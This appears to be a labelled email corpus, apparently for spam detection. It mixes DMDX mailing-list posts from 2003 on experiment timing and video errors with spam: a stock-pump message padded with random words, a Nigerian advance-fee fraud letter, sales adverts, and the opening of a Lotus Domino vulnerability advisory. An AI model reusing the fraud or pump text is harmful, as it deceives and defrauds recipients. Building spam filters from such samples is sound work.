DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 Paul Dockree ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Mar 2003 20:06:31 +0000",[DMDX] continuous fixations ,"Thanks, that got rid of the error messages but my trial length is about 200 msec longer than it should be. I think this may be related to loading of the bmp files (re: John Curtan's message). I'm trying other machines with higher resolutions to see if I can improve things. Paul. At 13:15 18/03/03 -0700, you wrote: >Paul, > > How important is the ? I would try running the file >without that, just to check that this is causing the problem. This >parameter specifies the time interval between a request (pressing the >spacebar) and the onset of the first frame. Since you are preserving >the fixation point from the preceding item, this hardly seems necessary. > > Also, it would be useful if you included a subject header next >time, so that people can tell whether this posting is likely to be of >interest. > > --k.i.f. > > >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Paul Dockree >Sent: Tuesday, March 18, 2003 12:06 PM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] > > >Hi, > >I've set up an experiment such that a fixation point will remain on >screen >while numbers are sequentially presented above the fixation. The >continuous fixation is giving me timing problems. > >Here's a sample of the script: > > > ""mouse""> 255255255> > >""+button 0""> > >0 ""Please respond in the same way"", ""as the practice > >run."", ""The most important thing is to"", ""respond >correctly (right mouse click)"", ""to the grey coloured >numbers."", > ""Press the SPACEBAR to start""; > >+1 “+”/! * “b41""/ >0> “+”/!; >+1 “+”/! * “b42""/ >0> “+”/!; >+9 “+”/! * “b43""/ >0> “+”/!; >+8 “+”/! * “b34""/ >0> “+”/!; >+1 “+”/! * “b15""/ > > “+”/!; >+1 “+”/! * “b56""/ >0> “+”/!; >+1 “+”/! * “b27""/ >0> “+”/!; >+1 “+”/! * “b38""/ >0> “+”/!; >+1 “+”/! * “b19""/ > > “+”/!; > >The output gives me display errors as follows: ! Display error at msec > >25682, tick 1846 in item 1, frame ""+"" ! moved into video memory 1 tick >late! (previous frame's duration will have been longer) > >These errors do not occur for every line but quite frequently across the > >task. Any ideas on how to remedy this? > >Many thanks, Paul. > >------------------------------------------ >Paul Dockree > >Department of Psychology >Áras an Phiarsaigh >University of Dublin >Trinity College >Dublin 2 >Ireland > >Tel: +353 (0)1 608 3083 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ------------------------------------------ Paul Dockree Department of Psychology Áras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Mar 2003 15:02:23 -0700",[DMDX] Re: continuous fixations ,"At 08:06 PM 3/20/2003 +0000, you wrote: >Thanks, that got rid of the error messages but my trial length is about >200 msec longer than it should be. I think this may be related to loading >of the bmp files (re: John Curtan's message). I'm trying other machines >with higher resolutions to see if I can improve things. It might be longer because you are turning the subject response clock on which has a timeout of 1500 ms but your display after the clock on is only about 1000 ms (two 500 ms frames plus one tick for the superfluous ""/!;"" ) so DMDX can still be waiting for a response after the display has finished. >> >> >""mouse""> >255255255> >> >>>""+button 0""> >> >>0 ""Please respond in the same way"", ""as the practice >> >>run."", ""The most important thing is to"", ""respond >>correctly (right mouse click)"", ""to the grey coloured >>numbers."", >> ""Press the SPACEBAR to start""; >> >>+1 ""+""/! * ""b41""/ >>>0> ""+""/!; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Under any conditions, anywhere, whatever you are doing, there is some ordinance under which you can be booked. - Robert D. Sprecht (Rand Corp)",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 Mar 2003 15:16:33 -0700",[DMDX] DMDX 3.0.1.3," After many days of the most painful debugging I've ever had to do (and that's saying something after twenty five years of programming) much along the lines of searching for a needle in a haystack without knowing what a needle is (sure would've made things easier if I'd had the library source) I think I've finally figured out what was failing. My initial kludge in 3.0.1.2 was in fact the right thing to do and the only real mystery was why the protection fault wasn't thrown from the very earliest days of DMDX 3 when I switched to MS VC 6. Turns out sscanf() calls strlen() which is fine when you're processing a NULL terminated string but when scramble() is processing parameters it's not processing a NULL terminated string, it's parsing a memory mapped file which isn't NULL terminated. Should've always thrown a fault but it didn't. DMDX 3.0.1.3 includes the kludge which has now become a fix and additionally allows the hitting of ESC to stop a super long syntax check. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Under any conditions, anywhere, whatever you are doing, there is some ordinance under which you can be booked. - Robert D. Sprecht (Rand Corp) ",0,0 Paul Dockree ,DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 08:51:11 +0000",[DMDX] continuous fixations + trial timing ,"At 15:02 20/03/03 -0700, you wrote: >At 08:06 PM 3/20/2003 +0000, you wrote: > >>Thanks, that got rid of the error messages but my trial length is about >>200 msec longer than it should be. I think this may be related to >>loading of the bmp files (re: John Curtan's message). I'm trying other >>machines with higher resolutions to see if I can improve things. > > It might be longer because you are turning the subject response clock > on which has a timeout of 1500 ms but your display after the clock on is > only about 1000 ms (two 500 ms frames plus one tick for the superfluous > ""/!;"" ) so DMDX can still be waiting for a response after the display has > finished. Unfortunately, that's not it. It's running approx 200ms longer that the timeout specified, so around 1700 ms. Strangely, if I remove the timeout altogether the trial length extends to almost 5 seconds. I thought the final exclamation might be interfering with the timeout but upon removing this the trial length is still 1700. Paul. >>> >>> >>""mouse""> >>255255255> >>> >>>>>""+button 0""> >>> >>>0 ""Please respond in the same way"", ""as the practice >>> >>>run."", ""The most important thing is to"", ""respond >>>correctly (right mouse click)"", ""to the grey coloured >>>numbers."", >>> ""Press the SPACEBAR to start""; >>> >>>+1 ""+""/! * ""b41""/ >>>>>0> ""+""/!; > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Under any conditions, anywhere, whatever you are doing, there >is some ordinance under which you can be booked. > - Robert D. Sprecht (Rand Corp) > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ------------------------------------------ Paul Dockree Department of Psychology Áras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083",0,1 Paul Dockree ,DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 14:04:16 +0000",[DMDX] timeout problems ,"In the following program the number '5' should be presented for 36 ticks (approx 500 ms for my PC) and the timeout is 1500. There are 8 trials therefore the total running time should be 12 seconds. When I run the program in lasts for approx 18 secs. I'm using DMDX version 3.0.1.2 and TimeDX version 3.0.6.0. The video mode I selected was 800x600 (0hz) 8 bit (256 color) palatte. I also carried out the time-video advanced tests. Any ideas as to why this timing delay is occuring? Many thanks, Paul. 0 ""Practice 1: In this task you will see a series"", ""of numbers presented in sequence"", ""from 1 to 9. After each number"", ""please press the left mouse button"", ""as close as you can to the point"", ""where the number disappears from the screen."", ""Please do not respond following the number 3"", “Finally, try to keep your gaze on”, “the central cross throughout the task”, ""Press the SPACEBAR to begin""; +1 * “5""/; +1 * “5""/; +1 * “5""/; +1 * “5""/; +1 * “5""/; +1 * “5""/; +1 * “5""/; +1 * “5""/; 0 ""End of practice 1""; ------------------------------------------ Paul Dockree Department of Psychology Áras an Phiarsaigh University of Dublin Trinity College Dublin 2 Ireland Tel: +353 (0)1 608 3083",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 15:46:26 +0100",[DMDX] Invalid Pixel Format errors redux,"Hello Again .... I am beseged by DDERR Invalid Pixel Format errors (88760091) in a computer I am just setting up with DMDX (last weeks version). SYSTEM: * Dell Optiplex GXa computer (266 Mhz PII) with latest BIOS * Appian Graphics Jeronimo P2 dualhead graphics card (3d Labs Permedia 2 chipset) with latest drivers * Windows XP * Directx 9.0 Previous posts on this subject have suggested (1) lowering the number of screen color display bits and (2) finding some video modes that will work under DMDX. I have failed to achieve results with either / both. TimeDx 'crashes' with the Invalid Pixel Format Errors when I try and test the video mode. QUESTIONS: 1. Is this a pure video card issue or does it involve the computer as well? 2. There is no mention of the 3D Labs Permedia chipset in the DMDX documentation of listserv archives. Have I just discovered a new incompatibility? 3. I need to use a dualhead PCI card in this computer because the Dell has an onboard AGP graphics chip that shuts down if another video card is detected (unlike my Intel board). The Dell does not like 2 PCI video cards either! If I buy a Matrox G400 (listed in the docs as compatible) ... do I have a reasonable certainty of avoiding this problem? I have a Matrox G550 that runs TimeDx beautifully on a different computer (see question 1). Thanks, Derek // Bill Gates's explanation: Message: The pixel format is invalid. Explanation: A valid pixel format identifies a pixel configuration supported on a drawing surface. DescribePixelFormat describes all the pixel formats supported on a given drawing surface. SetPixelFormat changes the pixel format of a window or drawing surface. The pixel format of a window or drawing surface can be modified only once. Once it is set, it cannot be changed to a different pixel format. User Action: If you can, verify that the pixel format is supported by the drawing surface. If the pixel format was changed on another occasion, it cannot be changed again. Contact the supplier of the running distributed application. -- Derek N. Eder Göteborg University Institute of Clinical Neuroscience, Section of Clinical Neurophysiology Blå Stråket 7, vån 3 SU/Sahlgrenska University Hospital SE 413 45 Göteborg, Sweden email: derek.eder@neuro.gu.se tlf: +46 (031) 342 4414 fax: +46 (031) 82 12 68 web page: www.neuro.gu.se/sad ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 08:52:54 -0700",[DMDX] Re: continuous fixations + trial timing ,"> Unfortunately, that's not it. It's running approx 200ms longer that > the timeout specified, so around 1700 ms. Strangely, if I remove the > timeout altogether the trial length extends to almost 5 seconds. I > thought the final exclamation might be interfering with the timeout but > upon removing this the trial length is still 1700. The /!; isn't superflous as I indicated, it makes the last 500 ms frame stay on the screen for 500 ms before DMDX moves onto the next item. The trial lasts for 5 seconds when you omit the timeout because the default is 4000 ms. The trial lasts for 1700 ms now because you have a timeout of 1500 ms plus a 161 ms frame before it plus D0 which is realistically a D2 which is pretty close to 1700 ms. >Paul. > > > >>>> >>>> >>>""mouse""> >>>255255255> >>>> >>>>>>>""+button 0""> >>>> >>>>0 ""Please respond in the same way"", ""as the practice >>>> >>>>run."", ""The most important thing is to"", ""respond >>>>correctly (right mouse click)"", ""to the grey coloured >>>>numbers."", >>>> ""Press the SPACEBAR to start""; >>>> >>>>+1 ""+""/! * ""b41""/ >>>>>>>0> ""+""/!; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 08:55:35 -0700",[DMDX] Re: timeout problems ,"You specify no delay parameter so the default delay is being used between items which is in the order of a second or so. With no delay specification DMDX makes no attempt to keep timing consistent. At 02:04 PM 3/21/2003 +0000, you wrote: >In the following program the number '5' should be presented for 36 ticks >(approx 500 ms for my PC) and the timeout is 1500. > >There are 8 trials therefore the total running time should be 12 >seconds. When I run the program in lasts for approx 18 secs. I'm using >DMDX version 3.0.1.2 and TimeDX version 3.0.6.0. The video mode I >selected was 800x600 (0hz) 8 bit (256 color) palatte. I also carried out >the time-video advanced tests. > >Any ideas as to why this timing delay is occuring? > >Many thanks, Paul. > > > > > > > ""+button 0""> > >0 ""Practice 1: In this task you will see a series"", >""of numbers presented in sequence"", ""from 1 to 9. After each >number"", ""please press the left mouse button"", ""as >close as you can to the point"", ""where the number disappears from >the screen."", ""Please do not respond following the number 3"", > ""Finally, try to keep your gaze on"", ""the central cross >throughout the task"", ""Press the SPACEBAR to begin""; > >+1 * ""5""/; >+1 * ""5""/; >+1 * ""5""/; >+1 * ""5""/; >+1 * ""5""/; >+1 * ""5""/; >+1 * ""5""/; >+1 * ""5""/; > >0 ""End of practice 1""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 08:59:49 -0700",[DMDX] Re: Invalid Pixel Format errors redux,"At 03:46 PM 3/21/2003 +0100, you wrote: >Hello Again .... > >I am beseged by DDERR Invalid Pixel Format errors (88760091) in a >computer I am just setting up with DMDX (last weeks version). > >SYSTEM: >* Dell Optiplex GXa computer (266 Mhz PII) with latest BIOS >* Appian Graphics Jeronimo P2 dualhead graphics card (3d Labs Permedia > 2 chipset) with latest drivers >* Windows XP >* Directx 9.0 > >Previous posts on this subject have suggested (1) lowering the number of >screen color display bits and (2) finding some video modes that will >work under DMDX. I have failed to achieve results with either / both. >TimeDx 'crashes' with the Invalid Pixel Format Errors when I try and >test the video mode. > > >QUESTIONS: > >1. Is this a pure video card issue or does it involve the computer as well? Likely just the video card. >2. There is no mention of the 3D Labs Permedia chipset in the DMDX >documentation of listserv archives. Have I just discovered a new >incompatibility? Yup. 3D Labs is not exactly the largest company in the world. >3. I need to use a dualhead PCI card in this computer because the Dell >has an onboard AGP graphics chip that shuts down if another video card >is detected (unlike my Intel board). The Dell does not like 2 PCI video >cards either! > >If I buy a Matrox G400 (listed in the docs as compatible) ... do I have >a reasonable certainty of avoiding this problem? I have a Matrox G550 >that runs TimeDx beautifully on a different computer (see question 1). I've used them before and while not perfect they were certainly usable. The dual output NVIDIA cards work well. Had less than spectacular results with ATI's stuff but that may have been the older ATI card I had and poor XP drivers (ATI don't appear to care about stuff that's already sold). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 10:13:32 -0700",[DMDX] Re: Invalid Pixel Format errors redux,"At 08:59 AM 3/21/2003 -0700, you wrote: >At 03:46 PM 3/21/2003 +0100, you wrote: >>Hello Again .... >> >>I am beseged by DDERR Invalid Pixel Format errors (88760091) in a >>computer I am just setting up with DMDX (last weeks version). >> >>SYSTEM: >>* Dell Optiplex GXa computer (266 Mhz PII) with latest BIOS >>* Appian Graphics Jeronimo P2 dualhead graphics card (3d Labs Permedia >> 2 chipset) with latest drivers >>* Windows XP >>* Directx 9.0 Of course if you don't want to buy a new video card and the install of XP isn't sacrosanct I'd try nuking XP and using ME instead, a 266 MHz machine is slower by a factor of 2 that I'd want to run XP on. Or nuke XP and leave it with DX 8.1. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Under any conditions, anywhere, whatever you are doing, there is some ordinance under which you can be booked. - Robert D. Sprecht (Rand Corp) ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 11:55:27 -0700",[DMDX] DMDX 3.0.1.4," Slight oops there, 3.0.1.3 was still emitting some debug spew which probably wasn't hurting anything except a bit of performance, 3.0.1.4 has that turned off... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Under any conditions, anywhere, whatever you are doing, there is some ordinance under which you can be booked. - Robert D. Sprecht (Rand Corp) ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 Mar 2003 16:04:31 -0700",[DMDX] and L,"Having figured out the sscanf() issue I can get back to handling some of the problems that have occurred over the last few weeks and prime amongst them was a set of chained item files that weren't saving the data at the end of the earlier item files as they chained to the later ones. Turns out the problem stems from using in the last item with the chain keyword, the code winds up having to terminate the job as if it was a syntax check as the normal job termination stuff is handled from the display queue -- but a skip display item builds nothing on the display queue. I'm impressed it worked as well as it did. Documentation has been updated. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Under any conditions, anywhere, whatever you are doing, there is some ordinance under which you can be booked. - Robert D. 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This looks very lucrative in coming weeks, Get GAPJ First Thing Monday fixating mightn't manifolds licked Chaplin axon iced bridgeheads Atwood Fatima blat gangster bewhiskered Atreus drift McCracken bellicosity dependability afternoons ducked gadwall licked computational lowest amazing gecko influentially burlesques devises Calvary bouts blackbody fruition fray amazing cemented colt's imposed besotting",1,0 """Dr. Alebiri Ebimobo"" ",undisclosed-recipients:;,"Sat, 22 Mar 2003 10:02:12 -0700",BUSINESS PROPOSAL,"NATIONAL PETROLEUM CORPORATION CONTRACT AWARD AND MONITORING COMMITTEE P.M.B 1274 FALOMO, LAGOS NIGERIA. From the Desk of: DR.Alebiri Ebimobo Account Dept. C.A.M.C. E-mail: ebimobo10@katamail.com Date: 27 April 2006 Attention: BUSINESS PROPOSAL: STRICTLY CONFIDENTIAL I am Dr.Alebiri Ebimobo, Chief Accountant to the Contract Award and Monitoring Committee (C.A.M.C) in the Nigeria National Petroleum Corporation(NNPC). Sometimes in 1990, my committee awarded a contract to a Conglomerate ofForeign companies attached to NNPC. The contract was over-invoiced to thetune of US$25.5 million (Twenty-five million, five Hundred Thousand United States Dollars only). This was done deliberately; the over-invoicing was a deal by members of my committee to benefit from the project. We now desire to transfer this money, which is presently in a suspense account of NNPC with the Central Bank of Nigeria into an overseas account, which we expected you to provide. BENEFIT: For providing the account where we shall remit the money, you will be entitled to 30% of the money. 60% will be for my partners, and me while 10% has been mapped out from the total sum to cover any expenses that might be incurred by us during the course of this transaction, both local and international expenses. I would require the following information from you: (1) Your private Tel/Fax numbers. It does not matter whether or not your company does project of this nature described here, the assumption is that you WON a MAJOR CONTRACT and subcontracted it out to other companies more often than not, big trading companies or firms of related fields win major contracts and subcontracts to more specialized firms for execution of such contracts. We have strong connections at the Central Bank of Nigeria and the Federal Ministry of Finance and we have no doubt that all this money will be released and transferred if we get the necessary foreign Partner (s) to assist us in the deal. Therefore, when the business is successfully concluded, we shall through our same connections withdraw all documents used from all the concerned government ministries for 100% security. If this proposal is of interest to you, then contact me on the above numbers. I wait in anticipation of your cooperation. Please all future response to ebimobo10@katamail.com Yours faithfully, Dr. Alebiri Ebimobo ",1,0 Amy Cole ,DMDX@psy1.psych.arizona.edu,"Sun, 23 Mar 2003 07:48:31 +0000",Internet Giants vs. Telcos - Opportunities and Threats,"I enclose details of our latest internet vs. telecom report. The Internet's leading companies have enjoyed a stunning rise (traffic, net revenues), and have established themselves as powerful brands, thanks to a handful of extremely popular key services. Their business models rely a great deal on advertising services and distribution, for low per-unit margin but high volume markets. So these Internet giants are working to be as big as they can, by offering an array of (possibly free) appealing services. They are battling it out chiefly amongst themselves in the services market, seeking to gain a greater share of the pie, while also destroying rival services' value by offering certain paid services for free, or at drastically reduced prices. This ongoing battle of the Internet giants is not without consequences for the telecom industry. Concerned with creating new revenue streams, telcos can either elect to develop their own service offerings directly, or to join forces with Internet portals and act as intermediaries. These partnerships offer real opportunities, albeit varying depending on the nature of the service. The leading telecom operators, and mobile operators in particular, have been adopting very different approaches. But portals' appetite goes well beyond fixed and mobile services, and the Internet giants could well prove a direct threat to telcos' longstanding access-centric business model. Recent developments are in fact allowing them to launch full frontal attacks on the Internet access (virtual operators, Wi-Fi), voice (VoIP), TV and mobile access (MVNO) markets. Internet Giants vs. Telcos in brief - Advertising and Internet giants' revenue models - Web portals' key services and innovations - State of competition in fixed and mobile services - Service-centric battle of the portals - Emergence of Web 2.0 and its impacts - Telcos' role and place in fixed and mobile service distribution - Partnership opportunities between Internet giants and Telcos Key questions - What is the Internet giants' current revenue model, and how will it evolve? - Will web portals' advertising model be viable in the long term? - What are key services for Internet portals? - Can advertising finance all the services? - Why and how are portals competing with one another? - What impact does the battle of the portals have on telcos? - Can telcos come out winners by collaborating on services with one or several of the Internet giants? - Are portals capable of threatening telcos' traditional access-centric business model? - How different is the situation in Western Europe, the US and in Asia (China, South Korea, Japan)? In terms of portals? In terms of fixed and mobile telecom markets? Who should read this report? Internet players - Understanding service operators' positioning and strategy - Assessing the competition's service developments, notably in partnership with operators Telecom operators (fixed and mobile) - Understanding Internet players' global strategy - Analysing partnership possibilities with Internet players - Assessing the nature of the threat that portals pose to traditional business models Equipment manufacturers (consumer devices) - Gaining an understanding of the stakes and challenges involved in distribution for Internet players and telcos - Tracking the services market's chief stages of evolution Investors and analysts - Analysing the overall state of competition, in Asian markets in particular - Understanding Internet players' true impact on the telecom market - Anticipating upcoming trends in portals and telcos' ecosystem, particularly with the advent of Web 2.0 Services analysed - Search engine - blog - webmail - Instant Messaging - VOD - VoIP - podcast - flux RSS - auctions - commerce C2C - personalisation - social networking - communities - music store - mobile services - Web 2.0 - content For a complete index of this report click on: http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and Report Index: 1 - Internet players' models 1.1 Internet giants' revenue models - Internet and the advertising market - Advertising revenues at the heart of Internet giants' business model - Paid services business models 1.2 Features of the Internet giants' key services - Revenue potential, technological and marketing distinctions - Search and aggregation services - Media and multimedia services - Community and personalisation services - E-commerce and intermediary services - Communication services - Mobile services 2 - Battle of the portals 2.1 Internet players' general service offering 2.2 State of competition and positions of strength in the different markets - General portal and website operations - Webmail - Instant messaging - Searches, blogs and community services - C2C commerce - Music and video - Mobile services 2.3 Changing shape of the competition landscape - Forms of aggregation and multimedia hub - Diversification of portals' activities - Forms of diversification - Value destruction 3 - Battle for services between operators and Internet portals 3.1 Distribution of portals' services - Distribution's central role - Distribution on fixed devices - Distribution on mobile devices - Other initiatives 3.2 Telcos' investments in services - Necessity of the access model - Services' role in operators' strategies - Operators' place in the service arena - The Neutrality Act 3.3 Partnerships between operators and Internet players - Portal and environment - Search - Instant messaging - Communities - Auctions - Music 3.4 Telcos' decision-making criteria when considering collaboration with Internet portals 4 - Threats facing telcos' access offers 4.1 Entry onto the fixed Internet market - Virtual wireline operator - Interest in alternative technologies (Wi-Fi, WiMAX) 4.2 Portals as fixed telephony operators - Free PC-to-PC telephony - Ubiquitous VoIP 4.3 Portals' place in TV's PC-centric scenario - Media Center scenario - Linear streaming TV - VOD 4.4 MVNO's prospects Pricing: Electronic : EUR 3000 Ordering - Three easy ways to place your order: 1] Order online at http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and 2] Order by fax: Print an Order form from http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and and Fax to +353 1 4100 980 3] Order by mail: Print an Order form from http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and and post to Research and Markets Ltd. Guinness Center, Taylors Lane, Dublin 8. Ireland Thank you for your consideration. Best Regards, Amy Cole Senior Manager Research and Markets Ltd amy.cole@researchandmarkets.com Subscribe: Click on http://www.researchandmarkets.com/register.asp You can subscribe free for regular details on new research in your sector. Please note you are currently subscribed as DMDX@psy1.psych.arizona.edu If you no longer wish to receive our market research updates, please reply to this message with Suppression Request as the subject line, or use the link below http://www.researchandmarkets.com/unsubscribe.asp?functionx=unsubscribe&email=harriet@psy1.psych.arizona.edu ",1,1 Chun-Yu Lin ,DMDX@psy1.psych.arizona.edu,"Tue, 25 Mar 2003 00:20:16 -0700",[DMDX] Go to the next 'frame' when subjects make a response...??,"Hi dear DMDXers, I've tried this problem for a while but still couldn't figure it out. Can anybody give me some advices? Thank you very much. What I want is whenever the subject makes a response after the word is presneted, it goes to the next frame (""#####"" for a constant duratoin) immediately. Like this: f60 ... +1 * ""response"" / ""#####""/; +2 * ""response"" / ""#####""/; ... But I couldn't find a way to let the word disappear and go to the next frame when subjects make a response. (I know if the word is at the last frame, I could just take out the frame delimiter. however, here i just want the word goes out but the mask remain the same duration.) Any suggestion would be very appreciated. Thank you, Chun-Yu Lin Graduate Student Cognition & Neuroimaging Laboratories Department of Psychology University of Arizona Tucson, AZ 85721-0068 (520) 406-4417 cylin@u.arizona.edu",0,0 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 Mar 2003 09:31:24 +0100",[DMDX] RE : Go to the next 'frame' when subjects make a response...??,"Hi You could try to declare the ###### as a different trial e.g. +1 * ""response"" ; 0 ""#####""; +2 * ""quite interesting"" ; 0 ""#######""; or a variant of this then of course you have to be careful with the scrambling (if you want to scramble, you have to block the the ### trials with the $ sign) X. F.-Xavier ALARIO Laboratoire de Psychologie Cognitive - Case 66 CNRS & Université de Provence 3, place Victor Hugo 13331 Marseille Cedex 3, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/wlpc > > >Hi dear DMDXers, > >I've tried this problem for a while but still couldn't figure >it out. Can anybody give me some advices? Thank you very much. > >What I want is whenever the subject makes a response after the >word is presneted, it goes to the next frame (""#####"" for a >constant duratoin) immediately. Like this: > >f60 ... >+1 * ""response"" / ""#####""/; >+2 * ""response"" / ""#####""/; >.. > >But I couldn't find a way to let the word disappear and go to >the next frame when subjects make a response. (I know if the >word is at the last frame, I could just take out the frame >delimiter. however, here i just want the word goes >out but the mask remain the same duration.) > >Any suggestion would be very appreciated. > >Thank you, >Chun-Yu Lin >Graduate Student >Cognition & Neuroimaging Laboratories >Department of Psychology >University of Arizona >Tucson, AZ 85721-0068 >(520) 406-4417 >cylin@u.arizona.edu > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >",0,1 Emmanuel Keuleers ,DMDX@psy1.psych.arizona.edu,"Tue, 25 Mar 2003 15:52:03 +0100",[DMDX] Re: RE : Go to the next 'frame' when subjects make a response...??,"Alternatively, you can try setting ""#####"" as a feedback message and set its duration with the FeedbackDuration keyword. The feedback message will be displayed immediately after the display of the last frame, as in the example below. =1 * ""response""; =2 * ""response""; ------------------------------------------------------------------------- Emmanuel Keuleers Center for Psycholinguistics, University of Antwerp Prinsstraat 13, B-2000 Antwerpen, Belgium Phone: +32-(0)3-220 42 70 Fax: +32-(0)3-220 42 59 E-mail: emmanuel.keuleers@ua.ac.be -------------------------------------------------------------------------- Francois-Xavier.Alario@up.univ-mrs.fr wrote: > Hi > > You could try to declare the ###### as a different trial > > e.g. > > +1 * ""response"" ; > 0 ""#####""; > +2 * ""quite interesting"" ; > 0 ""#######""; > > or a variant of this > > then of course you have to be careful with the scrambling (if you want > to scramble, you have to block the the ### trials with the $ sign) > > X. > > F.-Xavier ALARIO > Laboratoire de Psychologie Cognitive - Case 66 > CNRS & Université de Provence > 3, place Victor Hugo > 13331 Marseille Cedex 3, France > > +33 4 91 10 67 91 > alario@up.univ-mrs.fr > www.up.univ-mrs.fr/wlpc > > >> >>Hi dear DMDXers, >> >>I've tried this problem for a while but still couldn't figure >>it out. Can anybody give me some advices? Thank you very much. >> >>What I want is whenever the subject makes a response after the >>word is presneted, it goes to the next frame (""#####"" for a >>constant duratoin) immediately. Like this: >> >>f60 ... >>+1 * ""response"" / ""#####""/; >>+2 * ""response"" / ""#####""/; >>.. >> >>But I couldn't find a way to let the word disappear and go to >>the next frame when subjects make a response. (I know if the >>word is at the last frame, I could just take out the frame >>delimiter. however, here i just want the word goes >>out but the mask remain the same duration.) >> >>Any suggestion would be very appreciated. >> >>Thank you, >>Chun-Yu Lin >>Graduate Student >>Cognition & Neuroimaging Laboratories >>Department of Psychology >>University of Arizona >>Tucson, AZ 85721-0068 >>(520) 406-4417 >>cylin@u.arizona.edu",0,0 Tom Frahm ,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 26 Mar 2003 11:12:36 -0600",computational resources from Atipa,"Turn Key Beowulf Clusters from the most advanced cluster manufacturer. Dr.Phillips: We want to take a moment to introduce our company to you. Since 1994, Atipa has been delivering turn key computational clusters to the academic and research sectors of the world. Please review the following links that we have put together. We think you will agree that these links suggest the credibility our firm has earned in our endeavors to support scientific research. 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Overview Multiple vulnerabilities have been reported to affect Lotus Notes clients and Domino servers. Multiple reporters, the close timing, and some ambiguity caused confusion about what releases are vulnerable. We are issuing this advisory to help clarify the details of the vulnerabilities, the versions affected, and the patches that resolve these issues. I. Description In February 2003, NGS Software released several advisories detailing vulnerabilities affecting Lotus Notes and Domino. The following vulnerabilities reported by NGS Software affect versions of Lotus Domino prior to 5.0.12 and 6.0: VU#206361 - Lotus iNotes vulnerable to buffer overflow via PresetFields FolderName field Lotus Technical Documentation: KSPR5HUQ59 NGS Software's Advisory: NISR17022003b VU#355169 - Lotus Domino Web Server vulnerable to denial of service via incomplete POST request Lotus Technical Documentation: KSPR5HTQHS NGS Software's Advisory: NISR17022003d VU#542873 - Lotus iNotes vulnerable to buffer overflow via PresetFields s_ViewName field Lotus Technical Documentation: KSPR5HUPEK NGS Software's Advisory: NISR17022003b VU#772817 - Lotus Domino Web Server vulnerable to buffer overflow via non-existent ""h_SetReturnURL"" parameter with an overly long ""Host Header"" field Lotus Technical Documentation: KSPR5HTLW6 NGS Software's Advisory: NISR17022003a The following vulnerability reported by NGS Software affects versions of Lotus Domino up to and including 5.0.12 and 6.0.1: VU#571297 - Lotus Notes and Domino COM Object Control Handler contains buffer overflow Lotus Technical Documentation: SWG21104543 NGS Software's Advisory: NISR17022003e VU#571297 was originally reported as a vulnerability in an iNotes ActiveX control. The vulnerable code is not specific to iNotes or 